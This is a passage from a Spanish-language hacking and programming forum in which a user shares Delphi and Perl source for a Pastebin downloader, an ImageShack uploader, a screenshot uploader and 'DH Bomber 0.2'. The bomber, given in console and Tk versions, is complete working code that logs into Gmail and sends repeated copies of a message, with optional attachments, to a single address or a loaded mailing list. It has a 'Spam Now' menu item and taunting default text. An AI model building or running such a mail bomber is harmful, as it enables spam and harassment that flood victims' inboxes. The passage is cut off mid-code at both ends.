  105. procedure TForm3.sButton4Click(Sender: TObject);
  106. begin
  107.   OpenDialog1.InitialDir := GetCurrentDir;
  108.  
  109.   if OpenDialog1.Execute then
  110.   begin
  111.     sEdit3.Text := OpenDialog1.FileName;
  112.   end;
  113.  
  114. end;
  115.  
  116. procedure TForm3.sButton5Click(Sender: TObject);
  117. begin
  118.   sEdit4.SelectAll;
  119.   sEdit4.CopyToClipboard;
  120. end;
  121.  
  122. end.
  123.  
  124. // The End ?
  125.  

El downloader.

Código
  1. // DH PasteBin Manager 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit formdown;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, StdCtrls, sListBox, sButton, sEdit, sLabel, sGroupBox, PerlRegEx,
  11.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, acPNG,
  12.   ExtCtrls, ComCtrls, sStatusBar, sMemo, acProgressBar;
  13.  
  14. type
  15.   TForm2 = class(TForm)
  16.     sGroupBox1: TsGroupBox;
  17.     sGroupBox2: TsGroupBox;
  18.     sLabel1: TsLabel;
  19.     sLabel2: TsLabel;
  20.     sEdit1: TsEdit;
  21.     sEdit2: TsEdit;
  22.     sButton1: TsButton;
  23.     sGroupBox3: TsGroupBox;
  24.     sListBox1: TsListBox;
  25.     sButton2: TsButton;
  26.     IdHTTP1: TIdHTTP;
  27.     PerlRegEx1: TPerlRegEx;
  28.     PerlRegEx2: TPerlRegEx;
  29.     Image1: TImage;
  30.     sStatusBar1: TsStatusBar;
  31.     sProgressBar1: TsProgressBar;
  32.  
  33.     procedure sButton1Click(Sender: TObject);
  34.     procedure sButton2Click(Sender: TObject);
  35.     procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  36.       AWorkCount: Int64);
  37.     procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  38.       AWorkCountMax: Int64);
  39.     procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  40.   private
  41.     { Private declarations }
  42.   public
  43.     { Public declarations }
  44.   end;
  45.  
  46. var
  47.   Form2: TForm2;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure TForm2.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  54.   AWorkCount: Int64);
  55. begin
  56.   sProgressBar1.Position := AWorkCount;
  57.   sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  58.   Form2.sStatusBar1.Update;
  59. end;
  60.  
  61. procedure TForm2.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  62.   AWorkCountMax: Int64);
  63. begin
  64.   sProgressBar1.Max := AWorkCountMax;
  65.   sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  66.   Form2.sStatusBar1.Update;
  67. end;
  68.  
  69. procedure TForm2.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  70. begin
  71.   sProgressBar1.Position := 0;
  72.   sStatusBar1.Panels[0].Text := '[+] Finished';
  73.   Form2.sStatusBar1.Update;
  74. end;
  75.  
  76. procedure TForm2.sButton1Click(Sender: TObject);
  77. var
  78.   url: string;
  79.   url2: string;
  80.   code: string;
  81.   i: integer;
  82.   viendo: string;
  83.   chau: TStringList;
  84.  
  85. begin
  86.   //
  87.  
  88.   chau := TStringList.Create;
  89.  
  90.   chau.Duplicates := dupIgnore;
  91.   chau.Sorted := True;
  92.   chau.Assign(sListBox1.Items);
  93.   sListBox1.Items.Clear;
  94.   sListBox1.Items.Assign(chau);
  95.  
  96.   url := sEdit1.Text;
  97.   url2 := sEdit2.Text;
  98.  
  99.   if not(url = '') then
  100.   begin
  101.     PerlRegEx1.Regex := 'pastebin';
  102.     PerlRegEx1.Subject := url;
  103.  
  104.     if PerlRegEx1.Match then
  105.     begin
  106.       sListBox1.Items.Add(url);
  107.     end;
  108.   end;
  109.  
  110.   if not(url2 = '') then
  111.   begin
  112.  
  113.     code := IdHTTP1.Get(url2);
  114.  
  115.     PerlRegEx1.Regex := '(.)(http://.+?)\1';
  116.     PerlRegEx1.Subject := code;
  117.  
  118.     while PerlRegEx1.MatchAgain do
  119.     begin
  120.       for i := 1 to PerlRegEx1.SubExpressionCount do
  121.       begin
  122.         viendo := PerlRegEx1.SubExpressions[i];
  123.  
  124.         PerlRegEx2.Regex := 'pastebin';
  125.         PerlRegEx2.Subject := viendo;
  126.  
  127.         if PerlRegEx2.Match then
  128.         begin
  129.           sListBox1.Items.Add(viendo);
  130.         end;
  131.       end;
  132.     end;
  133.  
  134.   end;
  135.  
  136. end;
  137.  
  138. procedure TForm2.sButton2Click(Sender: TObject);
  139. var
  140.   url: string;
  141.   urlabajar: string;
  142.   id: string;
  143.   code: string;
  144.   titulo: string;
  145.   i: integer;
  146.   archivobajado: TFileStream;
  147. begin
  148.  
  149.   for i := sListBox1.Items.Count - 1 downto 0 do
  150.   begin
  151.  
  152.     //
  153.  
  154.     url := sListBox1.Items[i];
  155.  
  156.     PerlRegEx1.Regex := 'http:\/\/(.*)\/(.*)';
  157.     PerlRegEx1.Subject := url;
  158.  
  159.     if PerlRegEx1.Match then
  160.     begin
  161.  
  162.       urlabajar :=
  163.         'http://pastebin.com/download.php?i=' + PerlRegEx1.SubExpressions[2];
  164.       // sMemo1.Lines.Add(urlabajar);
  165.  
  166.       code := IdHTTP1.Get(url);
  167.  
  168.       PerlRegEx2.Regex := '<div class="paste_box_line1" title="(.*)">';
  169.       PerlRegEx2.Subject := code;
  170.  
  171.       if PerlRegEx2.Match then
  172.       begin
  173.         titulo := PerlRegEx2.SubExpressions[1];
  174.         // sMemo1.Lines.Add(titulo);
  175.  
  176.         // Baja esto carajo
  177.  
  178.         // sStatusBar1.Panels[0].Text := '[+] Downloading :' + urlabajar;
  179.         // Form2.sStatusBar1.Update;
  180.  
  181.         archivobajado := TFileStream.Create(titulo + '.txt', fmCreate);
  182.  
  183.         try
  184.           begin
  185.             DeleteFile(titulo);
  186.             IdHTTP1.Get(urlabajar, archivobajado);
  187.             sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
  188.             Form2.sStatusBar1.Update;
  189.             archivobajado.Free;
  190.           end;
  191.         except
  192.           sStatusBar1.Panels[0].Text := '[-] Failed download';
  193.           Form2.sStatusBar1.Update;
  194.           archivobajado.Free;
  195.           Abort;
  196.         end;
  197.  
  198.  
  199.         //
  200.  
  201.       end;
  202.  
  203.     end;
  204.  
  205.  
  206.  
  207.     //
  208.  
  209.   end;
  210.  
  211.   sStatusBar1.Panels[0].Text := '[+] Done';
  212.   Form2.sStatusBar1.Update;
  213.  
  214. end;
  215.  
  216. end.
  217.  
  218. // The End ?
  219.  

Si quieren bajar el proyecto y el ejecutable lo pueden hacer de aca.
185  Programación / Programación General / Re: [Delphi] ImageShack Uploader 0.1 en: 12 Octubre 2013, 01:43 am
ok , gracias por las sugerencias tendre que buscar en google sobre como hacer lo que dijiste en delphi.
186  Programación / Programación General / [Delphi] ImageShack Uploader 0.1 en: 11 Octubre 2013, 19:55 pm
Un simple programa para subir imagenes a ImageShack.

Una imagen :



El codigo :

Código
  1. // ImageShack Uploader 0.1
  2. // Based in the API of ImageShack
  3. // Coded By Doddy H
  4.  
  5. unit image;
  6.  
  7. interface
  8.  
  9. uses
  10.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  11.   Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  12.   IdHTTP, IdMultipartFormData, Buttons, sGroupBox, sSkinManager, sButton, sEdit,
  13.   ComCtrls, sStatusBar, acPNG, ExtCtrls, PerlRegEx;
  14.  
  15. type
  16.   TForm1 = class(TForm)
  17.     IdHTTP1: TIdHTTP;
  18.     sSkinManager1: TsSkinManager;
  19.     sGroupBox1: TsGroupBox;
  20.     sEdit1: TsEdit;
  21.     sButton1: TsButton;
  22.     sGroupBox2: TsGroupBox;
  23.     sEdit2: TsEdit;
  24.     sStatusBar1: TsStatusBar;
  25.     sGroupBox3: TsGroupBox;
  26.     sButton2: TsButton;
  27.     sButton3: TsButton;
  28.     sButton4: TsButton;
  29.     sButton5: TsButton;
  30.     Image1: TImage;
  31.     OpenDialog1: TOpenDialog;
  32.     PerlRegEx1: TPerlRegEx;
  33.  
  34.     procedure FormCreate(Sender: TObject);
  35.     procedure sButton2Click(Sender: TObject);
  36.     procedure sButton5Click(Sender: TObject);
  37.     procedure sButton4Click(Sender: TObject);
  38.     procedure sButton1Click(Sender: TObject);
  39.     procedure sButton3Click(Sender: TObject);
  40.   private
  41.     { Private declarations }
  42.   public
  43.     { Public declarations }
  44.   end;
  45.  
  46. var
  47.   Form1: TForm1;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure TForm1.FormCreate(Sender: TObject);
  54. begin
  55.  
  56.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  57.   sSkinManager1.SkinName := 'cold';
  58.   sSkinManager1.Active := True;
  59.  
  60.   OpenDialog1.InitialDir := GetCurrentDir;
  61. end;
  62.  
  63. procedure TForm1.sButton1Click(Sender: TObject);
  64. begin
  65.  
  66.   if OpenDialog1.Execute then
  67.   begin
  68.     sEdit1.Text := OpenDialog1.FileName;
  69.   end;
  70.  
  71. end;
  72.  
  73. procedure TForm1.sButton2Click(Sender: TObject);
  74. var
  75.   datos: TIdMultiPartFormDataStream;
  76.   code: string;
  77. begin
  78.  
  79.   if FileExists(sEdit1.Text) then
  80.   begin
  81.  
  82.     sStatusBar1.Panels[0].Text := '[+] Uploading ...';
  83.     Form1.sStatusBar1.Update;
  84.  
  85.     datos := TIdMultiPartFormDataStream.Create;
  86.     datos.AddFormField('key', 'fuck you');
  87.     datos.AddFile('fileupload', sEdit1.Text, 'application/octet-stream');
  88.     datos.AddFormField('format', 'json');
  89.  
  90.     code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);
  91.  
  92.     PerlRegEx1.Regex := '"image_link":"(.*?)"';
  93.     PerlRegEx1.Subject := code;
  94.  
  95.     if PerlRegEx1.Match then
  96.     begin
  97.       sEdit2.Text := PerlRegEx1.SubExpressions[1];
  98.       sStatusBar1.Panels[0].Text := '[+] Done';
  99.       Form1.sStatusBar1.Update;
  100.     end
  101.     else
  102.     begin
  103.       sStatusBar1.Panels[0].Text := '[-] Error uploading';
  104.       Form1.sStatusBar1.Update;
  105.     end;
  106.  
  107.   end
  108.   else
  109.   begin
  110.     sStatusBar1.Panels[0].Text := '[+] File not Found';
  111.     Form1.sStatusBar1.Update;
  112.   end;
  113.  
  114. end;
  115.  
  116. procedure TForm1.sButton3Click(Sender: TObject);
  117. begin
  118.   sEdit2.SelectAll;
  119.   sEdit2.CopyToClipboard;
  120. end;
  121.  
  122. procedure TForm1.sButton4Click(Sender: TObject);
  123. begin
  124.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  125. end;
  126.  
  127. procedure TForm1.sButton5Click(Sender: TObject);
  128. begin
  129.   Form1.Close();
  130. end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si lo quieren bajar lo pueden hacer de aca.
187  Programación / Scripting / [Perl] DH ScreenShoter 0.1 en: 4 Octubre 2013, 19:31 pm
Un simple script en perl para sacar un screenshot y subirlo a imageshack.

El codigo :

Código
  1. #!usr/bin/perl
  2. #DH ScreenShoter 0.1
  3. #Coded By Doddy H
  4. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
  5. #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
  6.  
  7. use Win32::GuiTest
  8.   qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  9. use Win32::Clipboard;
  10. use Time::HiRes "usleep";
  11. use LWP::UserAgent;
  12.  
  13. my $nave = LWP::UserAgent->new;
  14. $nave->agent(
  15. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  16. );
  17. $nave->timeout(5);
  18.  
  19. $|++;
  20.  
  21. my $time;
  22. my $nombrefecha;
  23.  
  24. my ( $dia, $mes, $año, $hora, $minutos, $segundos ) = agarrate_la_hora();
  25.  
  26. $nombrefecha =
  27.     $dia . "_"
  28.   . $mes . "_"
  29.   . $año . "_"
  30.   . $hora . "_"
  31.   . $minutos . "_"
  32.   . $segundos;
  33.  
  34. my $se = "captures";
  35.  
  36. unless ( -d $se ) {
  37.     mkdir( $se, "777" );
  38. }
  39.  
  40. chdir $se;
  41.  
  42. head();
  43.  
  44. print "[+] Save Photo with this name : ";
  45. chomp( my $filename = <stdin> );
  46.  
  47. print "\n[+] Get Photo in this time : ";
  48. chomp( my $timeop = <stdin> );
  49.  
  50. print "\n[+] Open photo after taking it ? : ";
  51. chomp( my $load_image = <stdin> );
  52.  
  53. print "\n[+] Upload image to ImageShack ? : ";
  54. chomp( my $imageshack = <stdin> );
  55.  
  56. print "\n[+] Taking shot in ";
  57.  
  58. if ( $timeop eq "" ) {
  59.     $time = 1;
  60. }
  61. else {
  62.     $time = $timeop;
  63. }
  64.  
  65. for my $num ( reverse 1 .. $time ) {
  66.     print "$num.. ";
  67.     sleep 1;
  68. }
  69.  
  70. if ( $filename eq "" ) {
  71.  
  72.     capturar_pantalla( $nombrefecha . ".jpg" );
  73.  
  74. }
  75. else {
  76.  
  77.     capturar_pantalla($filename);
  78.  
  79. }
  80.  
  81. print "\a\a\a";
  82. print "\n\n[+] Photo Taken\n";
  83.  
  84. if ( $imageshack =~ /y/ ) {
  85.     if ( $filename eq "" ) {
  86.         subirarchivo( $nombrefecha . ".jpg" );
  87.     }
  88.     else {
  89.         subirarchivo($filename);
  90.     }
  91. }
  92.  
  93. if ( $load_image =~ /y/ ) {
  94.     if ( $filename eq "" ) {
  95.         system( $nombrefecha. ".jpg" );
  96.     }
  97.     else {
  98.         system($filename);
  99.     }
  100. }
  101.  
  102. copyright();
  103.  
  104. ## Functions
  105.  
  106. sub subirarchivo {
  107.  
  108.     my $your_key = "fuck you";    #Your API Key
  109.  
  110.     print "\n[+] Uploading ...\n";
  111.  
  112.     my $code = $nave->post(
  113.         "https://post.imageshack.us/upload_api.php",
  114.         Content_Type => "form-data",
  115.         Content      => [
  116.             key        => $your_key,
  117.             fileupload => [ $_[0] ],
  118.             format     => "json"
  119.         ]
  120.     )->content;
  121.  
  122.     if ( $code =~ /"image_link":"(.*?)"/ ) {
  123.         print "\n[+] Link : " . $1 . "\n";
  124.     }
  125.     else {
  126.         print "\n[-] Error uploading the image\n";
  127.     }
  128. }
  129.  
  130. sub head {
  131.  
  132.     my @logo = (
  133.         "#=============================================#", "\n",
  134.         "#             DH ScreenShoter 0.1             #", "\n",
  135.         "#---------------------------------------------#", "\n",
  136.         "# Written By Doddy H                          #", "\n",
  137.         "# Email: lepuke[at]hotmail[com]               #", "\n",
  138.         "# Website: doddyhackman.webcindario.com       #", "\n",
  139.         "#---------------------------------------------#", "\n",
  140.         "# The End ?                                   #", "\n",
  141.         "#=============================================#", "\n"
  142.     );
  143.  
  144.     print "\n";
  145.  
  146.     marquesina(@logo);
  147.  
  148.     print "\n\n";
  149.  
  150. }
  151.  
  152. sub copyright {
  153.  
  154.     my @fin = ("-- == (C) Doddy Hackman 2012 == --");
  155.  
  156.     print "\n\n";
  157.     marquesina(@fin);
  158.     print "\n\n";
  159.  
  160.     <stdin>;
  161.  
  162.     exit(1);
  163.  
  164. }
  165.  
  166. sub capturar_pantalla {
  167.  
  168.     SendKeys("%{PRTSCR}");
  169.  
  170.     my $a = Win32::Clipboard::GetBitmap();
  171.  
  172.     open( FOTO, ">" . $_[0] );
  173.     binmode(FOTO);
  174.     print FOTO $a;
  175.     close FOTO;
  176.  
  177. }
  178.  
  179. sub marquesina {
  180.  
  181.     #Effect based in the exploits by Jafer Al Zidjali
  182.  
  183.     my @logo = @_;
  184.  
  185.     my $car = "|";
  186.  
  187.     for my $uno (@logo) {
  188.         for my $dos ( split //, $uno ) {
  189.  
  190.             $|++;
  191.  
  192.             if ( $car eq "|" ) {
  193.                 mostrar( "\b" . $dos . $car, "/" );
  194.             }
  195.             elsif ( $car eq "/" ) {
  196.                 mostrar( "\b" . $dos . $car, "-" );
  197.             }
  198.             elsif ( $car eq "-" ) {
  199.                 mostrar( "\b" . $dos . $car, "\\" );
  200.             }
  201.             else {
  202.                 mostrar( "\b" . $dos . $car, "|" );
  203.             }
  204.             usleep(40_000);
  205.         }
  206.         print "\b ";
  207.     }
  208.  
  209.     sub mostrar {
  210.         print $_[0];
  211.         $car = $_[1];
  212.     }
  213.  
  214. }
  215.  
  216. sub agarrate_la_hora {
  217.  
  218.     my ( $a, $b, $c, $d, $e, $f, $g, $h, $i ) = localtime(time);
  219.  
  220.     $f += 1900;
  221.     $e++;
  222.  
  223.     return (
  224.         $d, $e, $f, $c, $b, $a
  225.  
  226.     );
  227.  
  228. }
  229.  
  230. ## The End ?
  231.  
188  Programación / Scripting / [Perl Tk] DH Bomber 0.2 en: 27 Septiembre 2013, 17:50 pm
Un simple script para mandar mensajes de correo a donde quieran , para usarlo necesitan una cuenta en gmail , lo nuevo de esta version es que use otro modulo que hace que el script no tenga tantas dependencias como en la ultima version.

El codigo :

Código
  1. #!usr/bin/perl
  2. #DH Bomber 0.2
  3. #Coded By Doddy H
  4.  
  5. use Win32::OLE;
  6.  
  7. head();
  8.  
  9. print "\n[+] Host : ";
  10. chomp( my $host = <stdin> );
  11.  
  12. print "\n[+] Port : ";
  13. chomp( my $puerto = <stdin> );
  14.  
  15. print "\n[+] Username : ";
  16. chomp( my $username = <stdin> );
  17.  
  18. print "\n[+] Password : ";
  19. chomp( my $password = <stdin> );
  20.  
  21. print "\n[+] Count Message : ";
  22. chomp( my $count = <stdin> );
  23.  
  24. print "\n[+] To : ";
  25. chomp( my $to = <stdin> );
  26.  
  27. print "\n[+] Subject : ";
  28. chomp( my $asunto = <stdin> );
  29.  
  30. print "\n[+] Body : ";
  31. chomp( my $body = <stdin> );
  32.  
  33. print "\n[+] File to Send : ";
  34. chomp( my $file = <stdin> );
  35.  
  36. print "\n[+] Starting ...\n\n";
  37.  
  38. for my $num ( 1 .. $count ) {
  39.     print "[+] Sending Message : $num\n";
  40.     sendmail(
  41.         $host,     $puerto, $username, $password, $username, $username,
  42.         $username, $to,     $asunto,   $body,     $file
  43.     );
  44. }
  45.  
  46. print "\n[+] Finished\n";
  47.  
  48. copyright();
  49.  
  50. sub head {
  51.     print "\n\n-- == DH Bomber 0.2 == --\n\n";
  52. }
  53.  
  54. sub copyright {
  55.     print "\n\n(C) Doddy Hackman 2013\n\n";
  56.     exit(1);
  57. }
  58.  
  59. sub sendmail {
  60.  
  61. ## Function Based on : http://code.activestate.com/lists/pdk/5351/
  62. ## Credits : Thanks to Phillip Richcreek and Eric Promislow
  63.  
  64.     my (
  65.         $host, $port, $username, $password, $from, $cc,
  66.         $bcc,  $to,   $asunto,   $mensaje,  $file
  67.     ) = @_;
  68.  
  69.     $correo = Win32::OLE->new('CDO.Message');
  70.  
  71.     $correo->Configuration->Fields->SetProperty( "Item",
  72.         'http://schemas.microsoft.com/cdo/configuration/sendusername',
  73.         $username );
  74.     $correo->Configuration->Fields->SetProperty( "Item",
  75.         'http://schemas.microsoft.com/cdo/configuration/sendpassword',
  76.         $password );
  77.     $correo->Configuration->Fields->SetProperty( "Item",
  78.         'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
  79.     $correo->Configuration->Fields->SetProperty( "Item",
  80.         'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
  81.         $port );
  82.     $correo->Configuration->Fields->SetProperty( "Item",
  83.         'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
  84.     $correo->Configuration->Fields->SetProperty( "Item",
  85.         'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
  86.     $correo->Configuration->Fields->SetProperty( "Item",
  87.         'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
  88.     $correo->Configuration->Fields->Update();
  89.  
  90.     if ( -f $file ) {
  91.         $correo->AddAttachment($file);
  92.     }
  93.  
  94.     $correo->{From}     = $from;
  95.     $correo->{CC}       = $cc;
  96.     $correo->{BCC}      = $bcc;
  97.     $correo->{To}       = $to;
  98.     $correo->{Subject}  = $asunto;
  99.     $correo->{TextBody} = $mensaje;
  100.     $correo->Send();
  101.  
  102. }
  103.  
  104. # The End ?
  105.  

Y aca les dejo la version Tk.

Una imagen :



El codigo :

Código
  1. #!usr/bin/perl
  2. #DH Bomber 0.2
  3. #Coded By Doddy H
  4.  
  5. use Tk;
  6. use Tk::ROText;
  7. use Tk::FileSelect;
  8. use Cwd;
  9. use Win32::OLE;
  10.  
  11. if ( $^O eq 'MSWin32' ) {
  12.     use Win32::Console;
  13.     Win32::Console::Free();
  14. }
  15.  
  16. my $color_fondo = "black";
  17. my $color_texto = "white";
  18.  
  19. my $ve =
  20.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  21. $ve->geometry("920x560+20+20");
  22. $ve->resizable( 0, 0 );
  23. $ve->title("DH Bomber 0.2 (C) Doddy Hackman 2013");
  24.  
  25. $d = $ve->Frame(
  26.     -relief     => "sunken",
  27.     -bd         => 1,
  28.     -background => $color_fondo,
  29.     -foreground => $color_texto
  30. );
  31. my $ma = $d->Menubutton(
  32.     -text             => "Mails",
  33.     -underline        => 1,
  34.     -background       => $color_fondo,
  35.     -foreground       => $color_texto,
  36.     -activebackground => $color_texto
  37. )->pack( -side => "left" );
  38. my $op = $d->Menubutton(
  39.     -text             => "Options",
  40.     -underline        => 1,
  41.     -background       => $color_fondo,
  42.     -foreground       => $color_texto,
  43.     -activebackground => $color_texto
  44. )->pack( -side => "left" );
  45. my $ab = $d->Menubutton(
  46.     -text             => "About",
  47.     -underline        => 1,
  48.     -background       => $color_fondo,
  49.     -foreground       => $color_texto,
  50.     -activebackground => $color_texto
  51. )->pack( -side => "left" );
  52. my $ex = $d->Menubutton(
  53.     -text             => "Exit",
  54.     -underline        => 1,
  55.     -background       => $color_fondo,
  56.     -foreground       => $color_texto,
  57.     -activebackground => $color_texto
  58. )->pack( -side => "left" );
  59. $d->pack( -side => "top", -fill => "x" );
  60.  
  61. $ma->command(
  62.     -label      => "Add Mailist",
  63.     -background => $color_fondo,
  64.     -foreground => $color_texto,
  65.     -command    => \&addmailist
  66. );
  67. $ma->command(
  68.     -label      => "Add Mail",
  69.     -background => $color_fondo,
  70.     -foreground => $color_texto,
  71.     -command    => \&addmail
  72. );
  73. $ma->command(
  74.     -label      => "Clean List",
  75.     -background => $color_fondo,
  76.     -foreground => $color_texto,
  77.     -command    => \&delist
  78. );
  79.  
  80. $op->command(
  81.     -label      => "Spam Now",
  82.     -background => $color_fondo,
  83.     -foreground => $color_texto,
  84.     -command    => \&spamnow
  85. );
  86. $op->command(
  87.     -label      => "Add Attachment",
  88.     -background => $color_fondo,
  89.     -foreground => $color_texto,
  90.     -command    => \&addfile
  91. );
  92. $op->command(
  93.     -label      => "Clean All",
  94.     -background => $color_fondo,
  95.     -foreground => $color_texto,
  96.     -command    => \&clean
  97. );
  98.  
  99. $ab->command(
  100.     -label      => "About",
  101.     -background => $color_fondo,
  102.     -foreground => $color_texto,
  103.     -command    => \&about
  104. );
  105. $ex->command(
  106.     -label      => "Exit",
  107.     -background => $color_fondo,
  108.     -foreground => $color_texto,
  109.     -command    => \&chali
  110. );
  111.  
  112. $ve->Label(
  113.     -text       => "Gmail Login",
  114.     -font       => "Impact3",
  115.     -background => $color_fondo,
  116.     -foreground => $color_texto
  117. )->place( -x => 100, -y => 40 );
  118.  
  119. $ve->Label(
  120.     -text       => "Username : ",
  121.     -background => $color_fondo,
  122.     -foreground => $color_texto
  123. )->place( -x => 20, -y => 80 );
  124. my $user = $ve->Entry(
  125.     -width      => 30,
  126.     -text       => 'lagartojuancho@gmail.com',
  127.     -background => $color_fondo,
  128.     -foreground => $color_texto
  129. )->place( -y => 83, -x => 85 );
  130.  
  131. $ve->Label(
  132.     -text       => "Password : ",
  133.     -background => $color_fondo,
  134.     -foreground => $color_texto
  135. )->place( -x => 20, -y => 120 );
  136. my $pass = $ve->Entry(
  137.     -show       => "*",
  138.     -width      => 30,
  139.     -text       => 'Secret',
  140.     -background => $color_fondo,
  141.     -foreground => $color_texto
  142. )->place( -y => 123, -x => 85 );
  143.  
  144. $ve->Label(
  145.     -text       => "Message",
  146.     -font       => "Impact3",
  147.     -background => $color_fondo,
  148.     -foreground => $color_texto
  149. )->place( -x => 110, -y => 160 );
  150.  
  151. $ve->Label(
  152.     -text       => "Number : ",
  153.     -background => $color_fondo,
  154.     -foreground => $color_texto
  155. )->place( -x => 20, -y => 210 );
  156. my $number = $ve->Entry(
  157.     -width      => 5,
  158.     -text       => "1",
  159.     -background => $color_fondo,
  160.     -foreground => $color_texto
  161. )->place( -x => 75, -y => 212 );
  162.  
  163. $ve->Label(
  164.     -text       => "Attachment : ",
  165.     -background => $color_fondo,
  166.     -foreground => $color_texto
  167. )->place( -x => 20, -y => 240 );
  168. my $fi = $ve->Entry(
  169.     -text       => 'None',
  170.     -width      => 30,
  171.     -background => $color_fondo,
  172.     -foreground => $color_texto
  173. )->place( -x => 90, -y => 242 );
  174.  
  175. $ve->Label(
  176.     -text       => "Subject : ",
  177.     -background => $color_fondo,
  178.     -foreground => $color_texto
  179. )->place( -x => 20, -y => 270 );
  180. my $tema = $ve->Entry(
  181.     -text       => "Hi idiot",
  182.     -width      => 20,
  183.     -background => $color_fondo,
  184.     -foreground => $color_texto
  185. )->place( -x => 73, -y => 273 );
  186.  
  187. $ve->Label(
  188.     -text       => "Body",
  189.     -font       => "Impact3",
  190.     -background => $color_fondo,
  191.     -foreground => $color_texto
  192. )->place( -x => 110, -y => 310 );
  193. my $body = $ve->Scrolled(
  194.     "Text",
  195.     -width      => 30,
  196.     -height     => 12,
  197.     -background => $color_fondo,
  198.     -foreground => $color_texto,
  199.     -scrollbars => "e"
  200. )->place( -x => 45, -y => 350 );
  201. $body->insert( "end", "Welcome to the hell" );
  202.  
  203. $ve->Label(
  204.     -text       => "Mailist",
  205.     -font       => "Impact3",
  206.     -background => $color_fondo,
  207.     -foreground => $color_texto
  208. )->place( -y => 40, -x => 400 );
  209. my $mailist = $ve->Listbox(
  210.     -height     => 31,
  211.     -width      => 33,
  212.     -background => $color_fondo,
  213.     -foreground => $color_texto
  214. )->place( -y => 85, -x => 330 );
  215.  
  216. $ve->Label(
  217.     -text       => "Console",
  218.     -font       => "Impact3",
  219.     -background => $color_fondo,
  220.     -foreground => $color_texto
  221. )->place( -y => 40, -x => 685 );
  222. my $console = $ve->Scrolled(
  223.     "ROText",
  224.     -width      => 40,
  225.     -height     => 31,
  226.     -background => $color_fondo,
  227.     -foreground => $color_texto,
  228.     -scrollbars => "e"
  229. )->place( -x => 580, -y => 84 );
  230.  
  231. MainLoop;
  232.  
  233. sub addmailist {
  234.  
  235.     my $adda = MainWindow->new(
  236.         -background => $color_fondo,
  237.         -foreground => $color_texto
  238.     );
  239.     $adda->geometry("400x90+20+20");
  240.     $adda->resizable( 0, 0 );
  241.     $adda->title("Add Mailist");
  242.  
  243.     $adda->Label(
  244.         -text       => "Mailist : ",
  245.         -background => $color_fondo,
  246.         -foreground => $color_texto,
  247.         -font       => "Impact1"
  248.     )->place( -x => 10, -y => 30 );
  249.     my $en = $adda->Entry(
  250.         -background => $color_fondo,
  251.         -foreground => $color_texto,
  252.         -width      => 33
  253.     )->place( -y => 33, -x => 75 );
  254.     $adda->Button(
  255.         -text             => "Browse",
  256.         -background       => $color_fondo,
  257.         -foreground       => $color_texto,
  258.         -width            => 7,
  259.         -activebackground => $color_texto,
  260.         -command          => \&brona
  261.     )->place( -y => 33, -x => 285 );
  262.     $adda->Button(
  263.         -text             => "Load",
  264.         -background       => $color_fondo,
  265.         -foreground       => $color_texto,
  266.         -width            => 7,
  267.         -activebackground => $color_texto,
  268.         -command          => \&bronaxa
  269.     )->place( -y => 33, -x => 340 );
  270.  
  271.     sub brona {
  272.         $browse = $adda->FileSelect( -directory => getcwd() );
  273.         my $file = $browse->Show;
  274.         $en->configure( -text => $file );
  275.     }
  276.  
  277.     sub bronaxa {
  278.         open( FILE, $en->get );
  279.         @words = <FILE>;
  280.         close FILE;
  281.  
  282.         for (@words) {
  283.             $mailist->insert( "end", $_ );
  284.         }
  285.     }
  286. }
  287.  
  288. sub addfile {
  289.  
  290.     my $addax = MainWindow->new(
  291.         -background => $color_fondo,
  292.         -foreground => $color_texto
  293.     );
  294.     $addax->geometry("390x90+20+20");
  295.     $addax->resizable( 0, 0 );
  296.     $addax->title("Add File");
  297.  
  298.     $addax->Label(
  299.         -text       => "File : ",
  300.         -background => $color_fondo,
  301.         -foreground => $color_texto,
  302.         -font       => "Impact1"
  303.     )->place( -x => 10, -y => 30 );
  304.     my $enaf = $addax->Entry(
  305.         -background => $color_fondo,
  306.         -foreground => $color_texto,
  307.         -width      => 33
  308.     )->place( -y => 33, -x => 55 );
  309.     $addax->Button(
  310.         -text             => "Browse",
  311.         -background       => $color_fondo,
  312.         -foreground       => $color_texto,
  313.         -width            => 7,
  314.         -activebackground => $color_texto,
  315.         -command          => \&bronax
  316.     )->place( -y => 33, -x => 265 );
  317.     $addax->Button(
  318.         -text             => "Load",
  319.         -background       => $color_fondo,
  320.         -foreground       => $color_texto,
  321.         -width            => 7,
  322.         -activebackground => $color_texto,
  323.         -command          => \&bronaxx
  324.     )->place( -y => 33, -x => 320 );
  325.  
  326.     sub bronax {
  327.         $browse = $addax->FileSelect( -directory => getcwd() );
